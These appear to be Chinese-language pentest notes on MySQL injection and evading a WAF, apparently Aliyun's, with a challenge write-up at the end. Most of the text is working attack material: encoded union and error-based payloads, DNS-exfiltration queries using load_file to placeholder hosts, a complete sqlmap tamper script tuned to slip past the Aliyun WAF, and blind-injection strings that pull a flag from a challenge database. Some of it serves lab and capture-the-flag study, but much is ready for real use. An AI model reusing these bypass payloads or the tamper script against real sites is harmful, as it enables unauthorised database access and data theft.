面试提及过
mysql小技巧
where id='2.0abc'转换为时候变成2
url传入ascii大于80时候进行\80编码
http://127.0.0.1/sqli-labs/Less-38/index.php?id=%80%81%82
函数与括号之间可添加空格/换行/注释
select user (),database/**/(),version
#123
() from tbl;
执行语句之间的空格,可用”/**/“、”换行%0a”替换
SELECT * FROM
users WHERE id= '3.0abc'-1/**/union/**/select
'3.0abc',2,3
from
users;
注释符:--,#,/**/
#单行注释后面所有内容,换行后注释失效
--和#号一样,但是后边必须有个空格,没空格则视为两个减号
/*aaa*/可用多行注释
注释内容在sql语句中解析为空格
逻辑判断式1>1、'a'='b',from后的表格名,select语句,可用括号包裹
SELECT * FROM (users) WHERE (id='3.0abc') union (select '3.0abc',2,user() from (users));
单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格
SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);
构造绕过语句
绕waf无非就是构造语句,突破防sql的正则表达式
根据上面规则可以构造一些垃圾字符,插入语句中并能正常运行。
常用就是注释配合换行符,然后在注释部分插入不可解析的ascii码
--%20/*%99%0a
--%20%0d%0a%23/*%99%0a
%23/*%99%0a
?id=1%27%20or%20%271
//上面逻辑判断被拦截,删除or前后空格
?id=1%27or%271 #字符型注入
?id=1%20or%201 #数字型注入
本地搭建的环境也可以正常进行
order by 1 //order by常用于判断列表数
?id=1%27order%20by%20id%23
?id=1%27order%23/*%99%0aby%23/*%99%0a4%23
?id=1%20order%23/*%99%0aby%23/*%99%0aid%23
?id=1%20order%23/*%99%0aby%23/*%99%0a4%23
union select x from x //联合注入
?id=union%23/*%99%0aselect
?id=union--%20%0d%0a%23/*%99%0aselect
?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd
?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users
?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27
?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23
?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23
load_file() //dns外带查询,阿里云拦截率dnslog,所以使用别的网站
?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23
?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23
?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23
?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)
?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23
updatexml() //报错注入
?id=updatexml%23/*%99%0a(1,1,1)
?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27
?id=1%20and%20updatexml%23/*%99%0a(1,1,1)
?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)
?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e)
?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23
?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23
tamper脚本
#!/usr/bin/env python2
#user by: XG
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
# ALiYun mysql
# index.php?id=336699dfg
retVal = re.sub(r" ", "%20", retVal)
retVal = re.sub(r"\'\)%20AND%20", "%27%29%2f%2a%20%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\)%20AND%20", "%29%2f%2a%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\'%20AND%20", "%27%20%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20AND%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20OR%20NOT%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%20NOT%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20OR%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"=", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aLIKE%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\'%20UNION", "%27%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aUNION", retVal)
retVal = re.sub(r"UNION%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aSELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
retVal = re.sub(r"UNION%20ALL%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aALL%20SELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
retVal = re.sub(r"%20FROM", "%0d%0a%20%2d%2d%20%87%0d%0aFROM", retVal)
retVal = re.sub(r"FROM%20INFORMATION_SCHEMA\.", "FROM%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aINFORMATION_SCHEMA%0d%0a.", retVal)
retVal = re.sub(r"CASE%20", "CASE%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"THEN%20", "THEN%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"ELT\(", "ELT%20%2d%2d%20%29%29%29%29%29%29%0d%0a%28", retVal)
#retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
#retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%5b%5d%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"\(SELECT%20", "%28%20%20%23%20%2f%2a%99%29%5d%5b%7b%7d%23%5b%5d%0aSELECT%20", retVal)
retVal = re.sub(r"SELECT%20\(", "SELECT%20%2d%2d%20%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"CONCAT\(", "CONCAT%20%23%20%89%0d%0a%28", retVal)
retVal = re.sub(r"CHR\(", "CHR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"CHAR\(", "CHAR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"EXTRACTVALUE\(", "EXTRACTVALUE%20%23%20%89%0d%0a%28", retVal)
#retVal = re.sub(r"%20INFORMATION_SCHEMA", "%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a", retVal)
return retVal
阿里云挑战赛
https://bjfytzs.aliyuncs.com/#/
一个mysql靶场无论输入什么都返回hello_word,猜测会是盲注
输入一个单引号发现报错
经过测试,发现sleep并没有达到休眠效果,故放弃
1' and sleep(4)='1
但发现报错函数可以使用
1' and updatexml(1,1,1) %23
1' and updatexml(1,'~',1) %23
在报错注入没有回显的情况下,可以进行报错盲注
首先嵌套if语句
1' and updatexml(1,if(1=1,'~',1),1) %23
然后就可以在if语句里构造盲注语句进行判断了
1' and updatexml(1,if(substr('abc',1,1)='a','~',1),1) %23
匹配成功后返回~,匹配失败返回1
version()被拦截,
version()
可以进行绕过
在burp构造执行语句
发现mysql版本是5.7.32
获取表名
获取表名就是将version()换成一个子查询语句就行
(select{x table_name}from%0dinformation_schema%23%0a.%0atables where
table_schema=database%23%0A() limit 0,1)
//删删减减发现updatexml不好用了
/*
a.
反斜杠拼接updatexml()
1' and `updatexml`(1,if('b'=substr('123',1,1),'~',1),1) %23
但这里使用substr()会拦截,所以换成了locate()函数
`locate`('a',(select{x table_name}from%0dinformation_schema%23%0a.%0atables where
table_schema=database%23%0A() limit 0,1),1)=1
b.
换其它报错函数
mysql的版本,他是大于5.7.8的,我们可以使用json函数进行报错
1' and json_type(if('b'=substr((select{x
table_name}from%0dinformation_schema%23%0a.%0atables where
table_schema=database%23%0A() limit 0,1),1,1),'~',1)) %23
substr()也会拦截,继续使用locate()函数
1' and json_type(if(%60locate%60('1',(select{x
table_name}from%0dinformation_schema%23%0a.%0atables where
table_schema=database%23%0A() limit 1,1),1)=0,'~','1'))||'1
*/
获取字段
1' and json_type(if(%60locate%60('a',(select{x
column_name}from%0dinformation_schema%23%0a.%0acolumns where
table_schema=database%23%0A() and table_name='tzs_sql_flag' limit
1,1),1)=15,'~','1'))||'1
获取flag
1' and json_type(if(%60locate%60('a',(select{x f_value}from%0dtzs_sql_flag limit
0,1),1)=15,'~','1'))||'1